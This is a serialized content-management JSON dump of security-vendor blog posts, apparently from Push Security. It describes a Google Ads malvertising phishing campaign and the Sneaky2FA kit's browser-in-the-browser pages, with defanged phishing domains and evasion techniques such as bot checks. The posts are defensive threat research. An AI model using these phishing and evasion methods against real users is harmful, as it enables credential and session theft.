82},{},[94849,94856,94862,94867,94873,94903,94909,94914,94920,94925,94930,94935,94940,94945,94948,94955,94961,94967,94973,94980,94985,95001,95007,95023,95028,95031,95038,95044,95110,95116,95119,95126,95132,95138,95144,95170,95175],{"data":94850,"content":94851,"nodeType":981},{},[94852],{"data":94853,"marks":94854,"value":70694,"nodeType":865},{},[94855],{"type":926},{"data":94857,"content":94858,"nodeType":866},{},[94859],{"data":94860,"marks":94861,"value":85464,"nodeType":865},{},[],{"data":94863,"content":94866,"nodeType":912},{"target":94864},{"sys":94865},{"id":85469,"type":909,"linkType":910},[],{"data":94868,"content":94869,"nodeType":866},{},[94870],{"data":94871,"marks":94872,"value":85477,"nodeType":865},{},[],{"data":94874,"content":94875,"nodeType":1616},{},[94876,94885,94894],{"data":94877,"content":94878,"nodeType":1570},{},[94879],{"data":94880,"content":94881,"nodeType":866},{},[94882],{"data":94883,"marks":94884,"value":85490,"nodeType":865},{},[],{"data":94886,"content":94887,"nodeType":1570},{},[94888],{"data":94889,"content":94890,"nodeType":866},{},[94891],{"data":94892,"marks":94893,"value":85500,"nodeType":865},{},[],{"data":94895,"content":94896,"nodeType":1570},{},[94897],{"data":94898,"content":94899,"nodeType":866},{},[94900],{"data":94901,"marks":94902,"value":85510,"nodeType":865},{},[],{"data":94904,"content":94905,"nodeType":866},{},[94906],{"data":94907,"marks":94908,"value":85517,"nodeType":865},{},[],{"data":94910,"content":94913,"nodeType":912},{"target":94911},{"sys":94912},{"id":85522,"type":909,"linkType":910},[],{"data":94915,"content":94916,"nodeType":866},{},[94917],{"data":94918,"marks":94919,"value":85530,"nodeType":865},{},[],{"data":94921,"content":94924,"nodeType":912},{"target":94922},{"sys":94923},{"id":85535,"type":909,"linkType":910},[],{"data":94926,"content":94929,"nodeType":912},{"target":94927},{"sys":94928},{"id":85541,"type":909,"linkType":910},[],{"data":94931,"content":94934,"nodeType":912},{"target":94932},{"sys":94933},{"id":85547,"type":909,"linkType":910},[],{"data":94936,"content":94939,"nodeType":912},{"target":94937},{"sys":94938},{"id":85553,"type":909,"linkType":910},[],{"data":94941,"content":94944,"nodeType":912},{"target":94942},{"sys":94943},{"id":85559,"type":909,"linkType":910},[],{"data":94946,"content":94947,"nodeType":972},{},[],{"data":94949,"content":94950,"nodeType":981},{},[94951],{"data":94952,"marks":94953,"value":85571,"nodeType":865},{},[94954],{"type":926},{"data":94956,"content":94957,"nodeType":866},{},[94958],{"data":94959,"marks":94960,"value":85578,"nodeType":865},{},[],{"data":94962,"content":94963,"nodeType":866},{},[94964],{"data":94965,"marks":94966,"value":85585,"nodeType":865},{},[],{"data":94968,"content":94969,"nodeType":866},{},[94970],{"data":94971,"marks":94972,"value":85592,"nodeType":865},{},[],{"data":94974,"content":94975,"nodeType":866},{},[94976],{"data":94977,"marks":94978,"value":85600,"nodeType":865},{},[94979],{"type":926},{"data":94981,"content":94984,"nodeType":912},{"target":94982},{"sys":94983},{"id":85605,"type":909,"linkType":910},[],{"data":94986,"content":94987,"nodeType":866},{},[94988,94991,94998],{"data":94989,"marks":94990,"value":85613,"nodeType":865},{},[],{"data":94992,"content":94993,"nodeType":889},{"uri":14355},[94994],{"data":94995,"marks":94996,"value":315,"nodeType":865},{},[94997],{"type":943},{"data":94999,"marks":95000,"value":85624,"nodeType":865},{},[],{"data":95002,"content":95003,"nodeType":866},{},[95004],{"data":95005,"marks":95006,"value":85631,"nodeType":865},{},[],{"data":95008,"content":95009,"nodeType":866},{},[95010,95013,95020],{"data":95011,"marks":95012,"value":85638,"nodeType":865},{},[],{"data":95014,"content":95015,"nodeType":889},{"uri":4991},[95016],{"data":95017,"marks":95018,"value":8673,"nodeType":865},{},[95019],{"type":943},{"data":95021,"marks":95022,"value":85201,"nodeType":865},{},[],{"data":95024,"content":95027,"nodeType":912},{"target":95025},{"sys":95026},{"id":67359,"type":909,"linkType":910},[],{"data":95029,"content":95030,"nodeType":972},{},[],{"data":95032,"content":95033,"nodeType":981},{},[95034],{"data":95035,"marks":95036,"value":67181,"nodeType":865},{},[95037],{"type":926},{"data":95039,"content":95040,"nodeType":866},{},[95041],{"data":95042,"marks":95043,"value":85670,"nodeType":865},{},[],{"data":95045,"content":95046,"nodeType":1616},{},[95047,95056,95065,95074,95083,95092,95101],{"data":95048,"content":95049,"nodeType":1570},{},[95050],{"data":95051,"content":95052,"nodeType":866},{},[95053],{"data":95054,"marks":95055,"value":85683,"nodeType":865},{},[],{"data":95057,"content":95058,"nodeType":1570},{},[95059],{"data":95060,"content":95061,"nodeType":866},{},[95062],{"data":95063,"marks":95064,"value":85693,"nodeType":865},{},[],{"data":95066,"content":95067,"nodeType":1570},{},[95068],{"data":95069,"content":95070,"nodeType":866},{},[95071],{"data":95072,"marks":95073,"value":85703,"nodeType":865},{},[],{"data":95075,"content":95076,"nodeType":1570},{},[95077],{"data":95078,"content":95079,"nodeType":866},{},[95080],{"data":95081,"marks":95082,"value":85713,"nodeType":865},{},[],{"data":95084,"content":95085,"nodeType":1570},{},[95086],{"data":95087,"content":95088,"nodeType":866},{},[95089],{"data":95090,"marks":95091,"value":85723,"nodeType":865},{},[],{"data":95093,"content":95094,"nodeType":1570},{},[95095],{"data":95096,"content":95097,"nodeType":866},{},[95098],{"data":95099,"marks":95100,"value":85733,"nodeType":865},{},[],{"data":95102,"content":95103,"nodeType":1570},{},[95104],{"data":95105,"content":95106,"nodeType":866},{},[95107],{"data":95108,"marks":95109,"value":85743,"nodeType":865},{},[],{"data":95111,"content":95112,"nodeType":866},{},[95113],{"data":95114,"marks":95115,"value":85750,"nodeType":865},{},[],{"data":95117,"content":95118,"nodeType":972},{},[],{"data":95120,"content":95121,"nodeType":981},{},[95122],{"data":95123,"marks":95124,"value":67289,"nodeType":865},{},[95125],{"type":926},{"data":95127,"content":95128,"nodeType":866},{},[95129],{"data":95130,"marks":95131,"value":85767,"nodeType":865},{},[],{"data":95133,"content":95134,"nodeType":866},{},[95135],{"data":95136,"marks":95137,"value":85774,"nodeType":865},{},[],{"data":95139,"content":95140,"nodeType":866},{},[95141],{"data":95142,"marks":95143,"value":70936,"nodeType":865},{},[],{"data":95145,"content":95146,"nodeType":866},{},[95147,95150,95157,95160,95167],{"data":95148,"marks":95149,"value":11372,"nodeType":865},{},[],{"data":95151,"content":95152,"nodeType":889},{"uri":11375},[95153],{"data":95154,"marks":95155,"value":11381,"nodeType":865},{},[95156],{"type":943},{"data":95158,"marks":95159,"value":53880,"nodeType":865},{},[],{"data":95161,"content":95162,"nodeType":889},{"uri":1372},[95163],{"data":95164,"marks":95165,"value":11405,"nodeType":865},{},[95166],{"type":943},{"data":95168,"marks":95169,"value":1615,"nodeType":865},{},[],{"data":95171,"content":95174,"nodeType":912},{"target":95172},{"sys":95173},{"id":67359,"type":909,"linkType":910},[],{"data":95176,"content":95177,"nodeType":866},{},[95178],{"data":95179,"marks":95180,"value":21,"nodeType":865},{},[],{"entries":95182},{"hyperlink":95183,"inline":95184,"block":95185},[],[],[95186,95200,95205,95209,95215,95219,95224,95229,95267],{"sys":95187,"__typename":5503,"content":95188,"name":95199,"title":59},{"id":85469},{"json":95189},{"data":95190,"content":95191,"nodeType":1382},{},[95192],{"data":95193,"content":95194,"nodeType":866},{},[95195],{"data":95196,"marks":95197,"value":95198,"nodeType":865},{},[],"We regularly come across malvertising attacks where attackers take out ads against commonly used apps and websites to intercept users Googling for the login URL rather than accessing it from a bookmark. If you’re not on guard against possible malicious ads, it can be easy to miss that you’re not accessing the legitimate URL.","Google Malvertising Insight Box 1",{"sys":95201,"__typename":1390,"title":95202,"caption":95202,"layoutMode":59,"file":95203},{"id":85522},"When we came to investigate, the site had already been taken offline.",{"url":95204,"width":1402,"height":84884},"https://images.ctfassets.net/y1cdw1ablpvd/3LePBDurx90LO3jhnBH5Ua/d704a7650bfd9f7b98e2945bb6dd509c/image1.png",{"sys":95206,"__typename":52243,"title":95207,"arcadeDemoUrl":95208,"playText":59377},{"id":85535},"Google Malvertising Attack Demo","https://demo.arcade.software/LHB2RWbijgTTPTCxRPBm?embed",{"sys":95210,"__typename":1390,"title":95211,"caption":95211,"layoutMode":59,"file":95212},{"id":85541},"Timeline from one of the detections, showing hxxps://adsloginaccess.kartra.com being used as a redirect before serving up the phishing site at hxxps://adsgooglie.odoo.com",{"url":95213,"width":1402,"height":95214},"https://images.ctfassets.net/y1cdw1ablpvd/3xYelIFp9bS9xEnE6TNpgG/25519667c624cc76a6bf1bdbb279d60a/image2.png",1551,{"sys":95216,"__typename":1390,"title":95217,"caption":95217,"layoutMode":59,"file":95218},{"id":85547},"Google Search returning a top ad for a page impersonating the Google Ads login page, hosted on Odoo.",{"url":84883,"width":1402,"height":84884},{"sys":95220,"__typename":1390,"title":95221,"caption":95221,"layoutMode":59,"file":95222},{"id":85553},"Phishing site landing page impersonating the real Google Ads landing page.",{"url":95223,"width":1402,"height":84884},"https://images.ctfassets.net/y1cdw1ablpvd/5fnOP14PejZqJqg9l29xYV/c6f3a175aa367ed7bd222f05352646ee/image5.png",{"sys":95225,"__typename":1390,"title":95226,"caption":95226,"layoutMode":59,"file":95227},{"id":85559},"AiTM phishing page hosted on hxxps://ads-o.odoo.com",{"url":95228,"width":1402,"height":84884},"https://images.ctfassets.net/y1cdw1ablpvd/6VzjvK3FE9mVoYOzx8FrXk/af3a997c49dfb0d5cbf231d2006c7d5f/image3.png",{"sys":95230,"__typename":5503,"content":95231,"name":95266,"title":59},{"id":85605},{"json":95232},{"nodeType":1382,"data":95233,"content":95234},{},[95235],{"nodeType":866,"data":95236,"content":95237},{},[95238,95242,95250,95254,95263],{"nodeType":865,"value":95239,"marks":95240,"data":95241},"Campaigns targeting Google accounts specifically are becoming increasingly common. We also identified a ",[],{},{"nodeType":889,"data":95243,"content":95245},{"uri":95244},"/blog/uncovering-a-calendly-themed-phishing-campaign",[95246],{"nodeType":865,"value":95247,"marks":95248,"data":95249},"campaign targeting Google Ad accounts via highly targeted phishing emails",[],{},{"nodeType":865,"value":95251,"marks":95252,"data":95253}," around the same time that this attack was identified. Similarly, we’ve also blogged about ",[],{},{"nodeType":889,"data":95255,"content":95257},{"uri":95256},"/blog/investigating-a-recent-malvertising-campaign-targeting-onfido-customers",[95258],{"nodeType":865,"value":95259,"marks":95260,"data":95262},"Scattered Spider-linked malvertising campaigns earlier this year",[95261],{"type":943},{},{"nodeType":865,"value":1615,"marks":95264,"data":95265},[],{},"Google Malvertising Insight Box 2",{"sys":95268,"__typename":1414,"type":1415,"ctaText":90651,"buttonLabel":68733,"buttonColour":1418,"buttonUrl":90586},{"id":67359},{"items":95270},[],{},"Analysing a malvertising attack targeting Google accounts ",{"items":95274},[95275,95795,96352],{"__typename":1429,"sys":95276,"content":95277,"title":36710,"synopsis":86410,"hashTags":59,"publishedDate":85820,"slug":36711,"tagsCollection":95785,"authorsCollection":95791},{"id":33852},{"json":95278},{"data":95279,"content":95280,"nodeType":1382},{},[95281,95287,95293,95299,95304,95310,95313,95320,95326,95332,95338,95343,95349,95354,95360,95365,95371,95376,95402,95408,95413,95419,95424,95430,95435,95441,95480,95483,95490,95496,95502,95508,95513,95516,95523,95529,95545,95550,95555,95560,95566,95571,95576,95592,95595,95602,95618,95623,95629,95645,95652,95658,95664,95670,95686,95693,95699,95704,95707,95714,95720,95726,95729,95736,95742,95748,95774,95779],{"data":95282,"content":95283,"nodeType":866},{},[95284],{"data":95285,"marks":95286,"value":85844,"nodeType":865},{},[],{"data":95288,"content":95289,"nodeType":866},{},[95290],{"data":95291,"marks":95292,"value":85851,"nodeType":865},{},[],{"data":95294,"content":95295,"nodeType":866},{},[95296],{"data":95297,"marks":95298,"value":85858,"nodeType":865},{},[],{"data":95300,"content":95303,"nodeType":912},{"target":95301},{"sys":95302},{"id":85863,"type":909,"linkType":910},[],{"data":95305,"content":95306,"nodeType":866},{},[95307],{"data":95308,"marks":95309,"value":85871,"nodeType":865},{},[],{"data":95311,"content":95312,"nodeType":972},{},[],{"data":95314,"content":95315,"nodeType":981},{},[95316],{"data":95317,"marks":95318,"value":85882,"nodeType":865},{},[95319],{"type":926},{"data":95321,"content":95322,"nodeType":866},{},[95323],{"data":95324,"marks":95325,"value":85889,"nodeType":865},{},[],{"data":95327,"content":95328,"nodeType":866},{},[95329],{"data":95330,"marks":95331,"value":85896,"nodeType":865},{},[],{"data":95333,"content":95334,"nodeType":866},{},[95335],{"data":95336,"marks":95337,"value":85903,"nodeType":865},{},[],{"data":95339,"content":95342,"nodeType":912},{"target":95340},{"sys":95341},{"id":85908,"type":909,"linkType":910},[],{"data":95344,"content":95345,"nodeType":866},{},[95346],{"data":95347,"marks":95348,"value":85916,"nodeType":865},{},[],{"data":95350,"content":95353,"nodeType":912},{"target":95351},{"sys":95352},{"id":85921,"type":909,"linkType":910},[],{"data":95355,"content":95356,"nodeType":866},{},[95357],{"data":95358,"marks":95359,"value":85929,"nodeType":865},{},[],{"data":95361,"content":95364,"nodeType":912},{"target":95362},{"sys":95363},{"id":85934,"type":909,"linkType":910},[],{"data":95366,"content":95367,"nodeType":866},{},[95368],{"data":95369,"marks":95370,"value":85942,"nodeType":865},{},[],{"data":95372,"content":95375,"nodeType":912},{"target":95373},{"sys":95374},{"id":85947,"type":909,"linkType":910},[],{"data":95377,"content":95378,"nodeType":866},{},[95379,95382,95389,95392,95399],{"data":95380,"marks":95381,"value":85955,"nodeType":865},{},[],{"data":95383,"content":95384,"nodeType":889},{"uri":66627},[95385],{"data":95386,"marks":95387,"value":85963,"nodeType":865},{},[95388],{"type":943},{"data":95390,"marks":95391,"value":85967,"nodeType":865},{},[],{"data":95393,"content":95394,"nodeType":889},{"uri":8862},[95395],{"data":95396,"marks":95397,"value":37925,"nodeType":865},{},[95398],{"type":943},{"data":95400,"marks":95401,"value":85978,"nodeType":865},{},[],{"data":95403,"content":95404,"nodeType":866},{},[95405],{"data":95406,"marks":95407,"value":85985,"nodeType":865},{},[],{"data":95409,"content":95412,"nodeType":912},{"target":95410},{"sys":95411},{"id":85990,"type":909,"linkType":910},[],{"data":95414,"content":95415,"nodeType":866},{},[95416],{"data":95417,"marks":95418,"value":85998,"nodeType":865},{},[],{"data":95420,"content":95423,"nodeType":912},{"target":95421},{"sys":95422},{"id":86003,"type":909,"linkType":910},[],{"data":95425,"content":95426,"nodeType":866},{},[95427],{"data":95428,"marks":95429,"value":86011,"nodeType":865},{},[],{"data":95431,"content":95434,"nodeType":912},{"target":95432},{"sys":95433},{"id":86016,"type":909,"linkType":910},[],{"data":95436,"content":95437,"nodeType":866},{},[95438],{"data":95439,"marks":95440,"value":86024,"nodeType":865},{},[],{"data":95442,"content":95443,"nodeType":1616},{},[95444,95453,95462,95471],{"data":95445,"content":95446,"nodeType":1570},{},[95447],{"data":95448,"content":95449,"nodeType":866},{},[95450],{"data":95451,"marks":95452,"value":86037,"nodeType":865},{},[],{"data":95454,"content":95455,"nodeType":1570},{},[95456],{"data":95457,"content":95458,"nodeType":866},{},[95459],{"data":95460,"marks":95461,"value":86047,"nodeType":865},{},[],{"data":95463,"content":95464,"nodeType":1570},{},[95465],{"data":95466,"content":95467,"nodeType":866},{},[95468],{"data":95469,"marks":95470,"value":86057,"nodeType":865},{},[],{"data":95472,"content":95473,"nodeType":1570},{},[95474],{"data":95475,"content":95476,"nodeType":866},{},[95477],{"data":95478,"marks":95479,"value":86067,"nodeType":865},{},[],{"data":95481,"content":95482,"nodeType":972},{},[],{"data":95484,"content":95485,"nodeType":981},{},[95486],{"data":95487,"marks":95488,"value":86078,"nodeType":865},{},[95489],{"type":926},{"data":95491,"content":95492,"nodeType":866},{},[95493],{"data":95494,"marks":95495,"value":86085,"nodeType":865},{},[],{"data":95497,"content":95498,"nodeType":866},{},[95499],{"data":95500,"marks":95501,"value":86092,"nodeType":865},{},[],{"data":95503,"content":95504,"nodeType":866},{},[95505],{"data":95506,"marks":95507,"value":86099,"nodeType":865},{},[],{"data":95509,"content":95512,"nodeType":912},{"target":95510},{"sys":95511},{"id":86104,"type":909,"linkType":910},[],{"data":95514,"content":95515,"nodeType":972},{},[],{"data":95517,"content":95518,"nodeType":981},{},[95519],{"data":95520,"marks":95521,"value":86116,"nodeType":865},{},[95522],{"type":926},{"data":95524,"content":95525,"nodeType":866},{},[95526],{"data":95527,"marks":95528,"value":86123,"nodeType":865},{},[],{"data":95530,"content":95531,"nodeType":866},{},[95532,95535,95542],{"data":95533,"marks":95534,"value":86130,"nodeType":865},{},[],{"data":95536,"content":95537,"nodeType":889},{"uri":86133},[95538],{"data":95539,"marks":95540,"value":86139,"nodeType":865},{},[95541],{"type":943},{"data":95543,"marks":95544,"value":86143,"nodeType":865},{},[],{"data":95546,"content":95549,"nodeType":912},{"target":95547},{"sys":95548},{"id":86148,"type":909,"linkType":910},[],{"data":95551,"content":95554,"nodeType":912},{"target":95552},{"sys":95553},{"id":86154,"type":909,"linkType":910},[],{"data":95556,"content":95559,"nodeType":912},{"target":95557},{"sys":95558},{"id":86160,"type":909,"linkType":910},[],{"data":95561,"content":95562,"nodeType":866},{},[95563],{"data":95564,"marks":95565,"value":86168,"nodeType":865},{},[],{"data":95567,"content":95570,"nodeType":912},{"target":95568},{"sys":95569},{"id":86173,"type":909,"linkType":910},[],{"data":95572,"content":95575,"nodeType":912},{"target":95573},{"sys":95574},{"id":86179,"type":909,"linkType":910},[],{"data":95577,"content":95578,"nodeType":866},{},[95579,95582,95589],{"data":95580,"marks":95581,"value":86187,"nodeType":865},{},[],{"data":95583,"content":95584,"nodeType":889},{"uri":86190},[95585],{"data":95586,"marks":95587,"value":86196,"nodeType":865},{},[95588],{"type":943},{"data":95590,"marks":95591,"value":86200,"nodeType":865},{},[],{"data":95593,"content":95594,"nodeType":972},{},[],{"data":95596,"content":95597,"nodeType":981},{},[95598],{"data":95599,"marks":95600,"value":86211,"nodeType":865},{},[95601],{"type":926},{"data":95603,"content":95604,"nodeType":866},{},[95605,95608,95615],{"data":95606,"marks":95607,"value":86218,"nodeType":865},{},[],{"data":95609,"content":95610,"nodeType":889},{"uri":86221},[95611],{"data":95612,"marks":95613,"value":8868,"nodeType":865},{},[95614],{"type":943},{"data":95616,"marks":95617,"value":86230,"nodeType":865},{},[],{"data":95619,"content":95622,"nodeType":912},{"target":95620},{"sys":95621},{"id":86235,"type":909,"linkType":910},[],{"data":95624,"content":95625,"nodeType":866},{},[95626],{"data":95627,"marks":95628,"value":86243,"nodeType":865},{},[],{"data":95630,"content":95631,"nodeType":866},{},[95632,95635,95642],{"data":95633,"marks":95634,"value":85613,"nodeType":865},{},[],{"data":95636,"content":95637,"nodeType":889},{"uri":14355},[95638],{"data":95639,"marks":95640,"value":315,"nodeType":865},{},[95641],{"type":943},{"data":95643,"marks":95644,"value":85624,"nodeType":865},{},[],{"data":95646,"content":95647,"nodeType":1317},{},[95648],{"data":95649,"marks":95650,"value":86267,"nodeType":865},{},[95651],{"type":926},{"data":95653,"content":95654,"nodeType":866},{},[95655],{"data":95656,"marks":95657,"value":86274,"nodeType":865},{},[],{"data":95659,"content":95660,"nodeType":866},{},[95661],{"data":95662,"marks":95663,"value":86281,"nodeType":865},{},[],{"data":95665,"content":95666,"nodeType":866},{},[95667],{"data":95668,"marks":95669,"value":85592,"nodeType":865},{},[],{"data":95671,"content":95672,"nodeType":866},{},[95673,95676,95683],{"data":95674,"marks":95675,"value":86294,"nodeType":865},{},[],{"data":95677,"content":95678,"nodeType":889},{"uri":4991},[95679],{"data":95680,"marks":95681,"value":8673,"nodeType":865},{},[95682],{"type":943},{"data":95684,"marks":95685,"value":86305,"nodeType":865},{},[],{"data":95687,"content":95688,"nodeType":1317},{},[95689],{"data":95690,"marks":95691,"value":86313,"nodeType":865},{},[95692],{"type":926},{"data":95694,"content":95695,"nodeType":866},{},[95696],{"data":95697,"marks":95698,"value":86320,"nodeType":865},{},[],{"data":95700,"content":95703,"nodeType":912},{"target":95701},{"sys":95702},{"id":86325,"type":909,"linkType":910},[],{"data":95705,"content":95706,"nodeType":972},{},[],{"data":95708,"content":95709,"nodeType":981},{},[95710],{"data":95711,"marks":95712,"value":67181,"nodeType":865},{},[95713],{"type":926},{"data":95715,"content":95716,"nodeType":866},{},[95717],{"data":95718,"marks":95719,"value":86343,"nodeType":865},{},[],{"data":95721,"content":95722,"nodeType":866},{},[95723],{"data":95724,"marks":95725,"value":85750,"nodeType":865},{},[],{"data":95727,"content":95728,"nodeType":972},{},[],{"data":95730,"content":95731,"nodeType":981},{},[95732],{"data":95733,"marks":95734,"value":2270,"nodeType":865},{},[95735],{"type":926},{"data":95737,"content":95738,"nodeType":866},{},[95739],{"data":95740,"marks":95741,"value":86366,"nodeType":865},{},[],{"data":95743,"content":95744,"nodeType":866},{},[95745],{"data":95746,"marks":95747,"value":53863,"nodeType":865},{},[],{"data":95749,"content":95750,"nodeType":866},{},[95751,95754,95761,95764,95771],{"data":95752,"marks":95753,"value":11372,"nodeType":865},{},[],{"data":95755,"content":95756,"nodeType":889},{"uri":11375},[95757],{"data":95758,"marks":95759,"value":11381,"nodeType":865},{},[95760],{"type":943},{"data":95762,"marks":95763,"value":53880,"nodeType":865},{},[],{"data":95765,"content":95766,"nodeType":889},{"uri":1372},[95767],{"data":95768,"marks":95769,"value":11405,"nodeType":865},{},[95770],{"type":943},{"data":95772,"marks":95773,"value":1615,"nodeType":865},{},[],{"data":95775,"content":95778,"nodeType":912},{"target":95776},{"sys":95777},{"id":67359,"type":909,"linkType":910},[],{"data":95780,"content":95781,"nodeType":866},{},[95782],{"data":95783,"marks":95784,"value":21,"nodeType":865},{},[],{"items":95786},[95787,95789],{"sys":95788,"name":7796},{"id":7795},{"sys":95790,"name":342},{"id":4642},{"items":95792},[95793],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":95794},{"url":11425},{"__typename":1429,"sys":95796,"content":95797,"title":87605,"synopsis":96340,"hashTags":59,"publishedDate":96341,"slug":87606,"tagsCollection":96342,"authorsCollection":96348},{"id":79710},{"json":95798},{"data":95799,"content":95800,"nodeType":1382},{},[95801,95808,95814,95843,95850,95857,95864,95867,95875,95894,95901,95907,95914,95920,95927,95933,95940,95946,95953,95959,95966,95973,95979,95982,95990,96010,96017,96024,96030,96048,96056,96076,96084,96102,96109,96115,96147,96155,96188,96196,96216,96221,96224,96232,96252,96258,96261,96268,96275,96282,96285,96292,96298,96305,96329,96334],{"data":95802,"content":95803,"nodeType":866},{},[95804],{"data":95805,"marks":95806,"value":95807,"nodeType":865},{},[],"PhaaS kits make up the vast majority of phishing sites intercepted by Push and dominate the phishing landscape, with kits like Tycoon, NakedPages, Flowerstorm, Salty2FA, and various Evilginx variations proving very popular among attackers targeting Push customers.",{"data":95809,"content":95810,"nodeType":866},{},[95811],{"data":95812,"marks":95813,"value":83842,"nodeType":865},{},[],{"data":95815,"content":95816,"nodeType":866},{},[95817,95821,95829,95832,95839],{"data":95818,"marks":95819,"value":95820,"nodeType":865},{},[],"This competitive environment has fuelled attacker innovation, resulting in an environment in which MFA-bypass is table stakes, phishing-resistant authentication is being circumvented through ",{"data":95822,"content":95824,"nodeType":889},{"uri":95823},"https://pushsecurity.com/blog/mfa-downgrade-attacks/",[95825],{"data":95826,"marks":95827,"value":83858,"nodeType":865},{},[95828],{"type":943},{"data":95830,"marks":95831,"value":3476,"nodeType":865},{},[],{"data":95833,"content":95834,"nodeType":889},{"uri":8862},[95835],{"data":95836,"marks":95837,"value":8868,"nodeType":865},{},[95838],{"type":943},{"data":95840,"marks":95841,"value":95842,"nodeType":865},{},[]," are being used to circumvent security tools — from email scanners, to web-crawling security tools, to web proxies analyzing network traffic.",{"data":95844,"content":95845,"nodeType":866},{},[95846],{"data":95847,"marks":95848,"value":95849,"nodeType":865},{},[],"Recently, we’ve noticed an increase in detections relating to Sneaky2FA, which operates through a fully-featured bot on Telegram. Customers reportedly receive access to a licensed, obfuscated version of the source code and deploy it independently.",{"data":95851,"content":95852,"nodeType":866},{},[95853],{"data":95854,"marks":95855,"value":95856,"nodeType":865},{},[],"This makes Sneaky2FA something that can be reliably profiled and tracked due to these codebase similarities — which is what we’re actively doing at Push. ",{"data":95858,"content":95859,"nodeType":866},{},[95860],{"data":95861,"marks":95862,"value":95863,"nodeType":865},{},[],"Why is this relevant? Well, the latest Sneaky2FA phish we identified was pretty interesting. ",{"data":95865,"content":95866,"nodeType":972},{},[],{"data":95868,"content":95869,"nodeType":981},{},[95870],{"data":95871,"marks":95872,"value":95874,"nodeType":865},{},[95873],{"type":926},"Sneaky2FA adds BITB to its phishing toolkit",{"data":95876,"content":95877,"nodeType":866},{},[95878,95882,95890],{"data":95879,"marks":95880,"value":95881,"nodeType":865},{},[],"We recently detected a Sneaky2FA server that is a bit different from the typical reverse-proxy ",{"data":95883,"content":95884,"nodeType":889},{"uri":54386},[95885],{"data":95886,"marks":95887,"value":95889,"nodeType":865},{},[95888],{"type":943},"Attacker-in-the-Middle",{"data":95891,"marks":95892,"value":95893,"nodeType":865},{},[]," site, featuring an embedded browser window that contained the actual phishing page. ",{"data":95895,"content":95896,"nodeType":866},{},[95897],{"data":95898,"marks":95899,"value":95900,"nodeType":865},{},[],"You can see how the page loaded below in the video below.",{"data":95902,"content":95906,"nodeType":912},{"target":95903},{"sys":95904},{"id":95905,"type":909,"linkType":910},"6L6Ban2xptI1uNA8OPJQzq",[],{"data":95908,"content":95909,"nodeType":866},{},[95910],{"data":95911,"marks":95912,"value":95913,"nodeType":865},{},[],"When the URL previewdoc[.]us is first accessed, a Cloudflare Turnstile check must be completed before the page loads. ",{"data":95915,"content":95919,"nodeType":912},{"target":95916},{"sys":95917},{"id":95918,"type":909,"linkType":910},"QscI1SZ6dOpgMkrJPtqLD",[],{"data":95921,"content":95922,"nodeType":866},{},[95923],{"data":95924,"marks":95925,"value":95926,"nodeType":865},{},[],"The page then redirects to a subdomain of previewdoc[.]us, which prompts the user to “Sign in with Microsoft” in order to view a document, styled to look like Adobe Acrobat Reader. ",{"data":95928,"content":95932,"nodeType":912},{"target":95929},{"sys":95930},{"id":95931,"type":909,"linkType":910},"7pkfAQquHrA6aUnCtj74iu",[],{"data":95934,"content":95935,"nodeType":866},{},[95936],{"data":95937,"marks":95938,"value":95939,"nodeType":865},{},[],"Upon clicking ‘Sign in with Microsoft” a reverse-proxy phishing page resembling a Microsoft login form is loaded in an embedded browser, with a custom background image designed to resemble a document library. ",{"data":95941,"content":95945,"nodeType":912},{"target":95942},{"sys":95943},{"id":95944,"type":909,"linkType":910},"782tw14AqgJ9mqneVaOdHc",[],{"data":95947,"content":95948,"nodeType":866},{},[95949],{"data":95950,"marks":95951,"value":95952,"nodeType":865},{},[],"Interestingly, the pop-up window adjusts to the visitor’s OS and browser — you can see some different examples below.",{"data":95954,"content":95958,"nodeType":912},{"target":95955},{"sys":95956},{"id":95957,"type":909,"linkType":910},"6lN9agEyeQ63LDHM1kaSqX",[],{"data":95960,"content":95961,"nodeType":866},{},[95962],{"data":95963,"marks":95964,"value":95965,"nodeType":865},{},[],"Completing authentication will result in the user’s Microsoft credentials and active session being stolen by the attacker, facilitating account takeover. ",{"data":95967,"content":95968,"nodeType":866},{},[95969],{"data":95970,"marks":95971,"value":95972,"nodeType":865},{},[],"You can see the sequence of pages loaded and Push detection events in the timeline below.",{"data":95974,"content":95978,"nodeType":912},{"target":95975},{"sys":95976},{"id":95977,"type":909,"linkType":910},"1oPpha39PMiJGUaZSptx1f",[],{"data":95980,"content":95981,"nodeType":972},{},[],{"data":95983,"content":95984,"nodeType":981},{},[95985],{"data":95986,"marks":95987,"value":95989,"nodeType":865},{},[95988],{"type":926},"Why Browser-in-the-Browser?",{"data":95991,"content":95992,"nodeType":866},{},[95993,95997,96006],{"data":95994,"marks":95995,"value":95996,"nodeType":865},{},[],"BITB was first coined as a technique in 2022 by ",{"data":95998,"content":96000,"nodeType":889},{"uri":95999},"https://mrd0x.com/browser-in-the-browser-phishing-attack/",[96001],{"data":96002,"marks":96003,"value":96005,"nodeType":865},{},[96004],{"type":943},"mr.d0x",{"data":96007,"marks":96008,"value":96009,"nodeType":865},{},[],", but standard AITM phishing pages are far more frequently encountered in the wild, particularly when it comes to enterprise business targets.",{"data":96011,"content":96012,"nodeType":866},{},[96013],{"data":96014,"marks":96015,"value":96016,"nodeType":865},{},[],"BITB is principally designed to mask suspicious phishing URLs by simulating a pretty normal function of in-browser authentication — a pop-up login form. BITB phishing pages replicate the design of a pop-up window with an iframe pointing to a malicious server. ",{"data":96018,"content":96019,"nodeType":866},{},[96020],{"data":96021,"marks":96022,"value":96023,"nodeType":865},{},[],"The pop-up browser window shows a legitimate Microsoft login URL — this is in fact a fake URL that is designed to fool the user. ",{"data":96025,"content":96029,"nodeType":912},{"target":96026},{"sys":96027},{"id":96028,"type":909,"linkType":910},"7kI5PHTr9XYQJ0xVJUnUDu",[],{"data":96031,"content":96032,"nodeType":866},{},[96033,96037,96044],{"data":96034,"marks":96035,"value":96036,"nodeType":865},{},[],"This BITB example shares many of the advantages of typical reverse-proxy based phishing pages, as well as the ",{"data":96038,"content":96039,"nodeType":889},{"uri":8862},[96040],{"data":96041,"marks":96042,"value":8868,"nodeType":865},{},[96043],{"type":943},{"data":96045,"marks":96046,"value":96047,"nodeType":865},{},[]," that are commonly used by attackers (and baked into PhaaS kits off-the-shelf). This includes:",{"data":96049,"content":96050,"nodeType":1317},{},[96051],{"data":96052,"marks":96053,"value":96055,"nodeType":865},{},[96054],{"type":926},"Bot protection to defeat web scraping tools",{"data":96057,"content":96058,"nodeType":866},{},[96059,96063,96072],{"data":96060,"marks":96061,"value":96062,"nodeType":865},{},[],"Attackers are using common 